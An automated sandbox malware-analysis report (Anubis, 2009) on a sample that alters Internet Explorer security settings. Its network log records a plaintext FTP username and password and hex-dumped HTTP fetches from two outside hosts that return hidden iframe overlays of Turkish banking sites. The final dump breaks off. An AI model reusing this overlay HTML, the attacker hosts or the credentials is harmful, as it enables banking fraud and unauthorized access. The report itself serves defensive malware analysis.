anubis left
Anubis - Analysis Report
anubis right

Analysis Report for 6e49d9550a4b1f30940373162457b888

Comment on this report

Summary:

Description Risk
Changes security settings of Internet Explorer: This system alteration could seriously affect safety surfing the World Wide Web. medium
Creates files in the Windows system directory: Malware often keeps copies of itself in the Windows directory to stay undetected by users. medium
Performs File Modification and Destruction: The executable modifies and destructs files which are not temporary. high
Spawns Processes: The executable produces processes during the execution. low
Performs Registry Activities: The executable reads and modifies registry values. It may also create and monitor registry keys. low


Table of Contents

expand all expand all   collapse all collapse all

1. General Information

  - Information about Anubis' invocation  
Time needed: 243 s 
Report created: 03/20/09, 11:02:01 UTC 
Termination reason: Timeout 
Program version: 1.67.0 

1.a) - Network Activity

  -  FTP Conversations:  
from ANUBIS:1094 to 66.147.237.199:21
User: microde@microdesignim.com (id ok)
Password: 2m1cr0d3s33s (logged in)

  -  Unknown UDP Traffic:  
from ANUBIS:1025 to 192.168.0.1:53
State: Normal establishment and termination - Transferred outbound Bytes: 33 - Transferred inbound Bytes: 112
from ANUBIS:1025 to 192.168.0.1:53
State: Normal establishment and termination - Transferred outbound Bytes: 33 - Transferred inbound Bytes: 108

  -  Unknown TCP Traffic:  
from ANUBIS:1067 to 66.147.242.99:80
State: Normal establishment and termination - Transferred outbound Bytes: 160 - Transferred inbound Bytes: 743
Data sent:
    
4745 5420 2f69 6d61 6765 732f 6a73 2f79    GET /images/js/y
6669 6e2e 7478 7420 4854 5450 2f31 2e31    fin.txt HTTP/1.1
0d0a 436f 6e74 656e 742d 5479 7065 3a20    ..Content-Type: 
7465 7874 2f68 746d 6c0d 0a48 6f73 743a    text/html..Host:
2077 7777 2e6c 6164 6573 3737 2e63 6f6d     www.lades77.com
0d0a 4163 6365 7074 3a20 7465 7874 2f68    ..Accept: text/h
746d 6c2c 202a 2f2a 0d0a 5573 6572 2d41    tml, */*..User-A
6765 6e74 3a20 4d6f 7a69 6c6c 612f 332e    gent: Mozilla/3.
3020 2863 6f6d 7061 7469 626c 653b 2049    0 (compatible; I
6e64 7920 4c69 6272 6172 7929 0d0a 0d0a
Data received:
    
4854 5450 2f31 2e31 2032 3030 204f 4b0d    HTTP/1.1 200 OK.
0a44 6174 653a 2046 7269 2c20 3230 204d    .Date: Fri, 20 M
6172 2032 3030 3920 3131 3a30 323a 3032    ar 2009 11:02:02
2047 4d54 0d0a 5365 7276 6572 3a20 4170     GMT..Server: Ap
6163 6865 2f32 2e32 2e31 3120 2855 6e69    ache/2.2.11 (Uni
7829 206d 6f64 5f73 736c 2f32 2e32 2e31    x) mod_ssl/2.2.1
3120 4f70 656e 5353 4c2f 302e 392e 3869    1 OpenSSL/0.9.8i
2044 4156 2f32 206d 6f64 5f61 7574 685f     DAV/2 mod_auth_
7061 7373 7468 726f 7567 682f 322e 3120    passthrough/2.1 
6d6f 645f 6277 6c69 6d69 7465 642f 312e    mod_bwlimited/1.
3420 4672 6f6e 7450 6167 652f 352e 302e    4 FrontPage/5.0.
322e 3236 3335 0d0a 4c61 7374 2d4d 6f64    2.2635..Last-Mod
6966 6965 643a 2046 7269 2c20 3233 204a    ified: Fri, 23 J
616e 2032 3030 3920 3034 3a31 343a 3038    an 2009 04:14:08
2047 4d54 0d0a 4554 6167 3a20 2236 3038     GMT..ETag: "608
3034 662d 3139 382d 3436 3131 6539 6563    04f-198-4611e9ec
6432 3430 3022 0d0a 4163 6365 7074 2d52    d2400"..Accept-R
616e 6765 733a 2062 7974 6573 0d0a 436f    anges: bytes..Co
6e74 656e 742d 4c65 6e67 7468 3a20 3430    ntent-Length: 40
380d 0a43 6f6e 7465 6e74 2d54 7970 653a    8..Content-Type:
2074 6578 742f 706c 6169 6e0d 0a0d 0a3c     text/plain....<
6469 7620 7374 796c 653d 2270 6f73 6974    div style="posit
696f 6e3a 2061 6273 6f6c 7574 653b 207a    ion: absolute; z
2d69 6e64 6578 3a20 343b 206c 6566 743a    -index: 4; left:
2030 7078 3b20 746f 703a 2031 7078 3b20     0px; top: 1px; 
0d0a 6865 6967 6874 3a37 3537 7078 2220    ..height:757px" 
6964 3d22 6c61 7965 7235 223e 0d0a 3c49    id="layer5">..<I
4652 414d 4520 6e61 6d65 3d49 3120 0d0a    FRAME name=I1 ..
7372 633d 2268 7474 703a 2f2f 7777 772e    src="http://www.
6669 6e61 6e73 6261 6e6b 2e63 6f6d 2e74    finansbank.com.t
722f 6465 6661 756c 742e 6173 7078 2220    r/default.aspx" 
0d0a 7769 6474 683d 3130 3025 0d0a 6865    ..width=100%..he
6967 6874 3d31 3030 2520 206d 6172 6769    ight=100%  margi
6e68 6569 6768 743d 2230 2220 6d61 7267    nheight="0" marg
696e 7769 6474 683d 2230 2220 2073 6372    inwidth="0"  scr
6f6c 6c69 6e67 3d22 6e6f 2220 0d0a 626f    olling="no" ..bo
7264 6572 3d22 3022 200d 0a66 7261 6d65    rder="0" ..frame
626f 7264 6572 3d22 3022 200d 0a74 6f70    border="0" ..top
3d22 3022 206c 6566 743d 2230 223e 0d0a    ="0" left="0">..
596f 7572 2062 726f 7773 6572 2064 6f65    Your browser doe
7320 6e6f 7420 7375 7070 6f72 7420 696e    s not support in
6c69 6e65 2066 7261 6d65 7320 6f72 2069    line frames or i
7320 6375 7272 656e 746c 7920 636f 6e66    s currently conf
6967 7572 6564 200d 0a6e 6f74 2074 6f20    igured ..not to 
6469 7370 6c61 7920 696e 6c69 6e65 2066    display inline f
7261 6d65 732e 0d0a 3c2f 4946 5241 4d45    rames...</IFRAME
3e3c 2f64 6976 3e                          ></div>
from ANUBIS:1068 to 78.111.96.8:80
State: Normal establishment and termination - Transferred outbound Bytes: 316 - Transferred inbound Bytes: 632
Data sent:
    
4745 5420 2f69 6d67 2f6a 7067 2f79 666f    GET /img/jpg/yfo
722e 7478 7420 4854 5450 2f31 2e31 0d0a    r.txt HTTP/1.1..
436f 6e74 656e 742d 5479 7065 3a20 7465    Content-Type: te
7874 2f68 746d 6c0d 0a48 6f73 743a 2077    xt/html..Host: w
7777 2e74 7572 6b6f 6e7a 2e63 6f6d 0d0a    ww.turkonz.com..
4163 6365 7074 3a20 7465 7874 2f68 746d    Accept: text/htm
6c2c 202a 2f2a 0d0a 5573 6572 2d41 6765    l, */*..User-Age
6e74 3a20 4d6f 7a69 6c6c 612f 332e 3020    nt: Mozilla/3.0 
2863 6f6d 7061 7469 626c 653b 2049 6e64    (compatible; Ind
7920 4c69 6272 6172 7929 0d0a 0d0a         y Library)....
Data received:
    
4854 5450 2f31 2e31 2032 3030 204f 4b0d    HTTP/1.1 200 OK.
0a43 6f6e 7465 6e74 2d4c 656e 6774 683a    .Content-Length:
2034 310d 0a43 6f6e 7465 6e74 2d54 7970     41..Content-Typ
653a 2074 6578 742f 706c 6169 6e0d 0a4c    e: text/plain..L
6173 742d 4d6f 6469 6669 6564 3a20 4672    ast-Modified: Fr
692c 2032 3320 4a61 6e20 3230 3039 2030    i, 23 Jan 2009 0
343a 3233 3a32 3620 474d 540d 0a41 6363    4:23:26 GMT..Acc
6570 742d 5261 6e67 6573 3a20 6279 7465    ept-Ranges: byte
730d 0a45 5461 673a 2022 3832 3837 3138    s..ETag: "828718
3536 3132 3764 6339 313a 6164 3966 6322    56127dc91:ad9fc"
0d0a 5365 7276 6572 3a20 4d69 6372 6f73    ..Server: Micros
6f66 742d 4949 532f 362e 300d 0a58 2d50    oft-IIS/6.0..X-P
6f77 6572 6564 2d42 793a 2050 6c65 736b    owered-By: Plesk
5769 6e0d 0a58 2d50 6f77 6572 6564 2d42    Win..X-Powered-B
793a 2041 5350 2e4e 4554 0d0a 4461 7465    y: ASP.NET..Date
3a20 4672 692c 2032 3020 4d61 7220 3230    : Fri, 20 Mar 20
3039 2031 313a 3032 3a30 3120 474d 540d    09 11:02:01 GMT.
0a0d 0a68 7474 703a 2f2f 7777 772e 6c61    ...http://www.la
6465 7337 372e 636f 6d2f 696d 6167 6573    des77.com/images
2f6a 732f 7966 6f72 2e74 7874              /js/yfor.txt
Data sent:
    
4745 5420 2f69 6d67 2f6a 7067 2f79 666f    GET /img/jpg/yfo
722e 7478 7420 4854 5450 2f31 2e31 0d0a    r.txt HTTP/1.1..
436f 6e74 656e 742d 5479 7065 3a20 7465    Content-Type: te
7874 2f68 746d 6c0d 0a48 6f73 743a 2077    xt/html..Host: w
7777 2e74 7572 6b6f 6e7a 2e63 6f6d 0d0a    ww.turkonz.com..
4163 6365 7074 3a20 7465 7874 2f68 746d    Accept: text/htm
6c2c 202a 2f2a 0d0a 5573 6572 2d41 6765    l, */*..User-Age
6e74 3a20 4d6f 7a69 6c6c 612f 332e 3020    nt: Mozilla/3.0 
2863 6f6d 7061 7469 626c 653b 2049 6e64    (compatible; Ind
7920 4c69 6272 6172 7929 0d0a 0d0a         y Library)....
Data received:
    
4854 5450 2f31 2e31 2032 3030 204f 4b0d    HTTP/1.1 200 OK.
0a43 6f6e 7465 6e74 2d4c 656e 6774 683a    .Content-Length:
2034 310d 0a43 6f6e 7465 6e74 2d54 7970     41..Content-Typ
653a 2074 6578 742f 706c 6169 6e0d 0a4c    e: text/plain..L
6173 742d 4d6f 6469 6669 6564 3a20 4672    ast-Modified: Fr
692c 2032 3320 4a61 6e20 3230 3039 2030    i, 23 Jan 2009 0
343a 3233 3a32 3620 474d 540d 0a41 6363    4:23:26 GMT..Acc
6570 742d 5261 6e67 6573 3a20 6279 7465    ept-Ranges: byte
730d 0a45 5461 673a 2022 3832 3837 3138    s..ETag: "828718
3536 3132 3764 6339 313a 6164 3966 6322    56127dc91:ad9fc"
0d0a 5365 7276 6572 3a20 4d69 6372 6f73    ..Server: Micros
6f66 742d 4949 532f 362e 300d 0a58 2d50    oft-IIS/6.0..X-P
6f77 6572 6564 2d42 793a 2050 6c65 736b    owered-By: Plesk
5769 6e0d 0a58 2d50 6f77 6572 6564 2d42    Win..X-Powered-B
793a 2041 5350 2e4e 4554 0d0a 4461 7465    y: ASP.NET..Date
3a20 4672 692c 2032 3020 4d61 7220 3230    : Fri, 20 Mar 20
3039 2031 313a 3032 3a30 3220 474d 540d    09 11:02:02 GMT.
0a0d 0a68 7474 703a 2f2f 7777 772e 6c61    ...http://www.la
6465 7337 372e 636f 6d2f 696d 6167 6573    des77.com/images
2f6a 732f 7966 6f72 2e74 7874              /js/yfor.txt
from ANUBIS:1069 to 66.147.242.99:80
State: Normal establishment and termination - Transferred outbound Bytes: 160 - Transferred inbound Bytes: 736
Data sent:
    
4745 5420 2f69 6d61 6765 732f 6a73 2f79    GET /images/js/y
666f 722e 7478 7420 4854 5450 2f31 2e31    for.txt HTTP/1.1
0d0a 436f 6e74 656e 742d 5479 7065 3a20    ..Content-Type: 
7465 7874 2f68 746d 6c0d 0a48 6f73 743a    text/html..Host:
2077 7777 2e6c 6164 6573 3737 2e63 6f6d     www.lades77.com
0d0a 4163 6365 7074 3a20 7465 7874 2f68    ..Accept: text/h
746d 6c2c 202a 2f2a 0d0a 5573 6572 2d41    tml, */*..User-A
6765 6e74 3a20 4d6f 7a69 6c6c 612f 332e    gent: Mozilla/3.
3020 2863 6f6d 7061 7469 626c 653b 2049    0 (compatible; I
6e64 7920 4c69 6272 6172 7929 0d0a 0d0a
Data received:
    
4854 5450 2f31 2e31 2032 3030 204f 4b0d    HTTP/1.1 200 OK.
0a44 6174 653a 2046 7269 2c20 3230 204d    .Date: Fri, 20 M
6172 2032 3030 3920 3131 3a30 323a 3033    ar 2009 11:02:03
2047 4d54 0d0a 5365 7276 6572 3a20 4170     GMT..Server: Ap
6163 6865 2f32 2e32 2e31 3120 2855 6e69    ache/2.2.11 (Uni
7829 206d 6f64 5f73 736c 2f32 2e32 2e31    x) mod_ssl/2.2.1
3120 4f70 656e 5353 4c2f 302e 392e 3869    1 OpenSSL/0.9.8i
2044 4156 2f32 206d 6f64 5f61 7574 685f     DAV/2 mod_auth_
7061 7373 7468 726f 7567 682f 322e 3120    passthrough/2.1 
6d6f 645f 6277 6c69 6d69 7465 642f 312e    mod_bwlimited/1.
3420 4672 6f6e 7450 6167 652f 352e 302e    4 FrontPage/5.0.
322e 3236 3335 0d0a 4c61 7374 2d4d 6f64    2.2635..Last-Mod
6966 6965 643a 2046 7269 2c20 3233 204a    ified: Fri, 23 J
616e 2032 3030 3920 3034 3a31 343a 3138    an 2009 04:14:18
2047 4d54 0d0a 4554 6167 3a20 2236 3038     GMT..ETag: "608
3035 302d 3139 312d 3436 3131 6539 6636    050-191-4611e9f6
3562 6138 3022 0d0a 4163 6365 7074 2d52    5ba80"..Accept-R
616e 6765 733a 2062 7974 6573 0d0a 436f    anges: bytes..Co
6e74 656e 742d 4c65 6e67 7468 3a20 3430    ntent-Length: 40
310d 0a43 6f6e 7465 6e74 2d54 7970 653a    1..Content-Type:
2074 6578 742f 706c 6169 6e0d 0a0d 0a3c     text/plain....<
6469 7620 7374 796c 653d 2270 6f73 6974    div style="posit
696f 6e3a 2061 6273 6f6c 7574 653b 207a    ion: absolute; z
2d69 6e64 6578 3a20 343b 206c 6566 743a    -index: 4; left:
2030 7078 3b20 746f 703a 2031 7078 3b20     0px; top: 1px; 
0d0a 6865 6967 6874 3a37 3537 7078 2220    ..height:757px" 
6964 3d22 6c61 7965 7235 223e 0d0a 3c49    id="layer5">..<I
4652 414d 4520 6e61 6d65 3d49 3120 0d0a    FRAME name=I1 ..
7372 633d 2268 7474 703a 2f2f 7777 772e    src="http://www.
666f 7274 6973 2e63 6f6d 2e74 722f 696e    fortis.com.tr/in
6465 782e 6a73 7022 200d 0a77 6964 7468    dex.jsp" ..width
3d31 3030 250d 0a68 6569 6768 743d 3130    =100%..height=10
3025 2020 6d61 7267 696e 6865 6967 6874    0%  marginheight
3d22 3022 206d 6172 6769 6e77 6964 7468    ="0" marginwidth
3d22 3022 2020 7363 726f 6c6c 696e 673d    ="0"  scrolling=
226e 6f22 200d 0a62 6f72 6465 723d 2230    "no" ..border="0
2220 0d0a 6672 616d 6562 6f72 6465 723d    " ..frameborder=
2230 2220 0d0a 746f 703d 2230 2220 6c65    "0" ..top="0" le
6674 3d22 3022 3e0d 0a59 6f75 7220 6272    ft="0">..Your br
6f77 7365 7220 646f 6573 206e 6f74 2073    owser does not s
7570 706f 7274 2069 6e6c 696e 6520 6672    upport inline fr
616d 6573 206f 7220 6973 2063 7572 7265    ames or is curre
6e74 6c79 2063 6f6e 6669 6775 7265 6420    ntly configured 
0d0a 6e6f 7420 746f 2064 6973 706c 6179    ..not to display
2069 6e6c 696e 6520 6672 616d 6573 2e0d     inline frames..
0a3c 2f49 4652 414d 453e 3c2f 6469 763e
from ANUBIS:1070 to 78.111.96.8:80
State: Normal establishment and termination - Transferred outbound Bytes: 316 - Transferred inbound Bytes: 632
Data sent:
    
4745 5420 2f69 6d67 2f6a 7067 2f79 7961    GET /img/jpg/yya
702e 7478 7420 4854 5450 2f31 2e31 0d0a    p.txt HTTP/1.1..
436f 6e74 656e 742d 5479 7065 3a20 7465    Content-Type: te
7874 2f68 746d 6c0d 0a48 6f73 743a 2077    xt/html..Host: w
7777 2e74 7572 6b6f 6e7a 2e63 6f6d 0d0a    ww.turkonz.com..
4163 6365 7074 3a20 7465 7874 2f68 746d    Accept: text/htm
6c2c 202a 2f2a 0d0a 5573 6572 2d41 6765    l, */*..User-Age
6e74 3a20 4d6f 7a69 6c6c 612f 332e 3020    nt: Mozilla/3.0 
2863 6f6d 7061 7469 626c 653b 2049 6e64    (compatible; Ind
7920 4c69 6272 6172 7929 0d0a 0d0a         y Library)....
Data received:
    
4854 5450 2f31 2e31 2032 3030 204f 4b0d    HTTP/1.1 200 OK.
0a43 6f6e 7465 6e74 2d4c 656e 6774 683a    .Content-Length:
2034 310d 0a43 6f6e 7465 6e74 2d54 7970     41..Content-Typ
653a 2074 6578 742f 706c 6169 6e0d 0a4c    e: text/plain..L
6173 742d 4d6f 6469 6669 6564 3a20 4672    ast-Modified: Fr
692c 2032 3320 4a61 6e20 3230 3039 2030    i, 23 Jan 2009 0
343a 3234 3a34 3320 474d 540d 0a41 6363    4:24:43 GMT..Acc
6570 742d 5261 6e67 6573 3a20 6279 7465    ept-Ranges: byte
730d 0a45 5461 673a 2022 3963 3739 3463    s..ETag: "9c794c
3834 3132 3764 6339 313a 6164 3966 6322    84127dc91:ad9fc"
0d0a 5365 7276 6572 3a20 4d69 6372 6f73    ..Server: Micros
6f66 742d 4949 532f 362e 300d 0a58 2d50    oft-IIS/6.0..X-P
6f77 6572 6564 2d42 793a 2050 6c65 736b    owered-By: Plesk
5769 6e0d 0a58 2d50 6f77 6572 6564 2d42    Win..X-Powered-B
793a 2041 5350 2e4e 4554 0d0a 4461 7465    y: ASP.NET..Date
3a20 4672 692c 2032 3020 4d61 7220 3230    : Fri, 20 Mar 20
3039 2031 313a 3032 3a30 3320 474d 540d    09 11:02:03 GMT.
0a0d 0a68 7474 703a 2f2f 7777 772e 6c61    ...http://www.la
6465 7337 372e 636f 6d2f 696d 6167 6573    des77.com/images
2f6a 732f 7979 6170 2e74 7874              /js/yyap.txt
Data sent:
    
4745 5420 2f69 6d67 2f6a 7067 2f79 7961    GET /img/jpg/yya
702e 7478 7420 4854 5450 2f31 2e31 0d0a    p.txt HTTP/1.1..
436f 6e74 656e 742d 5479 7065 3a20 7465    Content-Type: te
7874 2f68 746d 6c0d 0a48 6f73 743a 2077    xt/html..Host: w
7777 2e74 7572 6b6f 6e7a 2e63 6f6d 0d0a    ww.turkonz.com..
4163 6365 7074 3a20 7465 7874 2f68 746d    Accept: text/htm
6c2c 202a 2f2a 0d0a 5573 6572 2d41 6765    l, */*..User-Age
6e74 3a20 4d6f 7a69 6c6c 612f 332e 3020    nt: Mozilla/3.0 
2863 6f6d 7061 7469 626c 653b 2049 6e64    (compatible; Ind
7920 4c69 6272 6172 7929 0d0a 0d0a         y Library)....
Data received:
    
4854 5450 2f31 2e31 2032 3030 204f 4b0d    HTTP/1.1 200 OK.
0a43 6f6e 7465 6e74 2d4c 656e 6774 683a    .Content-Length:
2034 310d 0a43 6f6e 7465 6e74 2d54 7970     41..Content-Typ
653a 2074 6578 742f 706c 6169 6e0d 0a4c    e: text/plain..L
6173 742d 4d6f 6469 6669 6564 3a20 4672    ast-Modified: Fr
692c 2032 3320 4a61 6e20 3230 3039 2030    i, 23 Jan 2009 0
343a 3234 3a34 3320 474d 540d 0a41 6363    4:24:43 GMT..Acc
6570 742d 5261 6e67 6573 3a20 6279 7465    ept-Ranges: byte
730d 0a45 5461 673a 2022 3963 3739 3463    s..ETag: "9c794c
3834 3132 3764 6339 313a 6164 3966 6322    84127dc91:ad9fc"
0d0a 5365 7276 6572 3a20 4d69 6372 6f73    ..Server: Micros
6f66 742d 4949 532f 362e 300d 0a58 2d50    oft-IIS/6.0..X-P
6f77 6572 6564 2d42 793a 2050 6c65 736b    owered-By: Plesk
5769 6e0d 0a58 2d50 6f77 6572 6564 2d42    Win..X-Powered-B
793a 2041 5350 2e4e 4554 0d0a 4461 7465    y: ASP.NET..Date
3a20 4672 692c 2032 3020 4d61 7220 3230    : Fri, 20 Mar 20
3039 2031 313a 3032 3a30 3320 474d 540d    09 11:02:03 GMT.
0a0d 0a68 7474 703a 2f2f 7777 772e 6c61    ...http://www.la
6465 7337 372e 636f 6d2f 696d 6167 6573    des77.com/images
2f6a 732f 7979 6170 2e74 7874              /js/yyap.txt
from ANUBIS:1071 to 66.147.242.99:80
State: Normal establishment and termination - Transferred outbound Bytes: 160 - Transferred inbound Bytes: 746
Data sent:
    
4745 5420 2f69 6d61 6765 732f 6a73 2f79    GET /images/js/y
7961 702e 7478 7420 4854 5450 2f31 2e31    yap.txt HTTP/1.1
0d0a 436f 6e74 656e 742d 5479 7065 3a20    ..Content-Type: 
7465 7874 2f68 746d 6c0d 0a48 6f73 743a    text/html..Host:
2077 7777 2e6c 6164 6573 3737 2e63 6f6d     www.lades77.com
0d0a 4163 6365 7074 3a20 7465 7874 2f68    ..Accept: text/h
746d 6c2c 202a 2f2a 0d0a 5573 6572 2d41    tml, */*..User-A
6765 6e74 3a20 4d6f 7a69 6c6c 612f 332e    gent: Mozilla/3.
3020 2863 6f6d 7061 7469 626c 653b 2049    0 (compatible; I
6e64 7920 4c69 6272 6172 7929 0d0a 0d0a
Data received:
    
4854 5450 2f31 2e31 2032 3030 204f 4b0d    HTTP/1.1 200 OK.
0a44 6174 653a 2046 7269 2c20 3230 204d    .Date: Fri, 20 M
6172 2032 3030 3920 3131 3a30 323a 3035    ar 2009 11:02:05
2047 4d54 0d0a 5365 7276 6572 3a20 4170     GMT..Server: Ap
6163 6865 2f32 2e32 2e31 3120 2855 6e69    ache/2.2.11 (Uni
7829 206d 6f64 5f73 736c 2f32 2e32 2e31    x) mod_ssl/2.2.1
3120 4f70 656e 5353 4c2f 302e 392e 3869    1 OpenSSL/0.9.8i
2044 4156 2f32 206d 6f64 5f61 7574 685f     DAV/2 mod_auth_
7061 7373 7468 726f 7567 682f 322e 3120    passthrough/2.1 
6d6f 645f 6277 6c69 6d69 7465 642f 312e    mod_bwlimited/1.
3420 4672 6f6e 7450 6167 652f 352e 302e    4 FrontPage/5.0.
322e 3236 3335 0d0a 4c61 7374 2d4d 6f64    2.2635..Last-Mod
6966 6965 643a 2046 7269 2c20 3233 204a    ified: Fri, 23 J
616e 2032 3030 3920 3034 3a31 363a 3437    an 2009 04:16:47
2047 4d54 0d0a 4554 6167 3a20 2236 3038     GMT..ETag: "608
3035 662d 3139 622d 3436 3131 6561 3834    05f-19b-4611ea84
3734 3963 3022 0d0a 4163 6365 7074 2d52    749c0"..Accept-R
616e 6765 733a 2062 7974 6573 0d0a 436f    anges: bytes..Co
6e74 656e 742d 4c65 6e67 7468 3a20 3431    ntent-Length: 41
310d 0a43 6f6e 7465 6e74 2d54 7970 653a    1..Content-Type:
2074 6578 742f 706c 6169 6e0d 0a0d 0a3c     text/plain....<
6469 7620 7374 796c 653d 2270 6f73 6974    div style="posit
696f 6e3a 2061 6273 6f6c 7574 653b 207a    ion: absolute; z
2d69 6e64 6578 3a20 343b 206c 6566 743a    -index: 4; left:
2030 7078 3b20 746f 703a 2031 7078 3b20     0px; top: 1px; 
0d0a 6865 6967 6874 3a37 3537 7078 2220    ..height:757px" 
6964 3d22 6c61 7965 7235 223e 0d0a 3c49    id="layer5">..<I
4652 414d 4520 6e61 6d65 3d49 3120 0d0a    FRAME name=I1 ..
7372 633d 2268 7474 703a 2f2f 7777 772e    src="http://www.
7961 7069 6b72 6564 692e 636f 6d2f 7472    yapikredi.com/tr
2d54 522f 4d61 696e 5061 6765 2e61 7370    -TR/MainPage.asp
7822 200d 0a77 6964 7468 3d31 3030 250d    x" ..width=100%.
0a68 6569 6768 743d 3130 3025 2020 6d61    .height=100%  ma
7267 696e 6865 6967 6874 3d22 3022 206d    rginheight="0" m
6172 6769 6e77 6964 7468 3d22 3022 2020    arginwidth="0"  
7363 726f 6c6c 696e 673d 226e 6f22 200d    scrolling="no" .
0a62 6f72 6465 723d 2230 2220 0d0a 6672    .border="0" ..fr
616d 6562 6f72 6465 723d 2230 2220 0d0a    ameborder="0" ..
746f 703d 2230 2220 6c65 6674 3d22 3022    top="0" left="0"
3e0d 0a59 6f75 7220 6272 6f77 7365 7220    >..Your browser 
646f 6573 206e 6f74 2073 7570 706f 7274    does not support
2069 6e6c 696e 6520 6672 616d 6573 206f     inline frames o
7220 6973 2063 7572 7265 6e74 6c79 2063    r is currently c
6f6e 6669 6775 7265 6420 0d0a 6e6f 7420    onfigured ..not 
746f 2064 6973 706c 6179 2069 6e6c 696e    to display inlin
6520 6672 616d 6573 2e0d 0a3c 2f49 4652    e frames...</IFR
414d 453e 3c2f 6469 763e                   AME></div>
from ANUBIS:1072 to 78.111.96.8:80
State: Normal establishment and termination - Transferred outbound Bytes: 316 - Transferred inbound Bytes: 632
Data sent:
    
4745 5420 2f69 6d67 2f6a 7067 2f79 7375    GET /img/jpg/ysu
702e 7478 7420 4854 5450 2f31 2e31 0d0a    p.txt HTTP/1.1..
436f 6e74 656e 742d 5479 7065 3a20 7465    Content-Type: te
7874 2f68 746d 6c0d 0a48 6f73 743a 2077    xt/html..Host: w
7777 2e74 7572 6b6f 6e7a 2e63 6f6d 0d0a    ww.turkonz.com..
4163 6365 7074 3a20 7465 7874 2f68 746d    Accept: text/htm
6c2c 202a 2f2a 0d0a 5573 6572 2d41 6765    l, */*..User-Age
6e74 3a20 4d6f 7a69 6c6c 612f 332e 3020    nt: Mozilla/3.0 
2863 6f6d 7061 7469 626c 653b 2049 6e64    (compatible; Ind
7920 4c69 6272 6172 7929 0d0a 0d0a         y Library)....
Data received:
    
4854 5450 2f31 2e31 2032 3030 204f 4b0d    HTTP/1.1 200 OK.
0a43 6f6e 7465 6e74 2d4c 656e 6774 683a    .Content-Length:
2034 310d 0a43 6f6e 7465 6e74 2d54 7970     41..Content-Typ
653a 2074 6578 742f 706c 6169 6e0d 0a4c    e: text/plain..L
6173 742d 4d6f 6469 6669 6564 3a20 4672    ast-Modified: Fr
692c 2032 3320 4a61 6e20 3230 3039 2030    i, 23 Jan 2009 0
343a 3233 3a35 3520 474d 540d 0a41 6363    4:23:55 GMT..Acc
6570 742d 5261 6e67 6573 3a20 6279 7465    ept-Ranges: byte
730d 0a45 5461 673a 2022 6236 3538 3636    s..ETag: "b65866
3637 3132 3764 6339 313a 6164 3966 6322    67127dc91:ad9fc"
0d0a 5365 7276 6572 3a20 4d69 6372 6f73    ..Server: Micros
6f66 742d 4949 532f 362e 300d 0a58 2d50    oft-IIS/6.0..X-P
6f77 6572 6564 2d42 793a 2050 6c65 736b    owered-By: Plesk
5769 6e0d 0a58 2d50 6f77 6572 6564 2d42    Win..X-Powered-B
793a 2041 5350 2e4e 4554 0d0a 4461 7465    y: ASP.NET..Date
3a20 4672 692c 2032 3020 4d61 7220 3230    : Fri, 20 Mar 20
3039 2031 313a 3032 3a30 3420 474d 540d    09 11:02:04 GMT.
0a0d 0a68 7474 703a 2f2f 7777 772e 6c61    ...http://www.la
6465 7337 372e 636f 6d2f 696d 6167 6573    des77.com/images
2f6a 732f 7973 7570 2e74 7874              /js/ysup.txt
Data sent:
    
4745 5420 2f69 6d67 2f6a 7067 2f79 7375    GET /img/jpg/ysu
702e 7478 7420 4854 5450 2f31 2e31 0d0a    p.txt HTTP/1.1..
436f 6e74 656e 742d 5479 7065 3a20 7465    Content-Type: te
7874 2f68 746d 6c0d 0a48 6f73 743a 2077    xt/html..Host: w
7777 2e74 7572 6b6f 6e7a 2e63 6f6d 0d0a    ww.turkonz.com..
4163 6365 7074 3a20 7465 7874 2f68 746d    Accept: text/htm
6c2c 202a 2f2a 0d0a 5573 6572 2d41 6765    l, */*..User-Age
6e74 3a20 4d6f 7a69 6c6c 612f 332e 3020    nt: Mozilla/3.0 
2863 6f6d 7061 7469 626c 653b 2049 6e64    (compatible; Ind
7920 4c69 6272 6172 7929 0d0a 0d0a         y Library)....
Data received:
    
4854 5450 2f31 2e31 2032 3030 204f 4b0d    HTTP/1.1 200 OK.
0a43 6f6e 7465 6e74 2d4c 656e 6774 683a    .Content-Length:
2034 310d 0a43 6f6e 7465 6e74 2d54 7970     41..Content-Typ
653a 2074 6578 742f 706c 6169 6e0d 0a4c    e: text/plain..L
6173 742d 4d6f 6469 6669 6564 3a20 4672    ast-Modified: Fr
692c 2032 3320 4a61 6e20 3230 3039 2030    i, 23 Jan 2009 0
343a 3233 3a35 3520 474d 540d 0a41 6363    4:23:55 GMT..Acc
6570 742d 5261 6e67 6573 3a20 6279 7465    ept-Ranges: byte
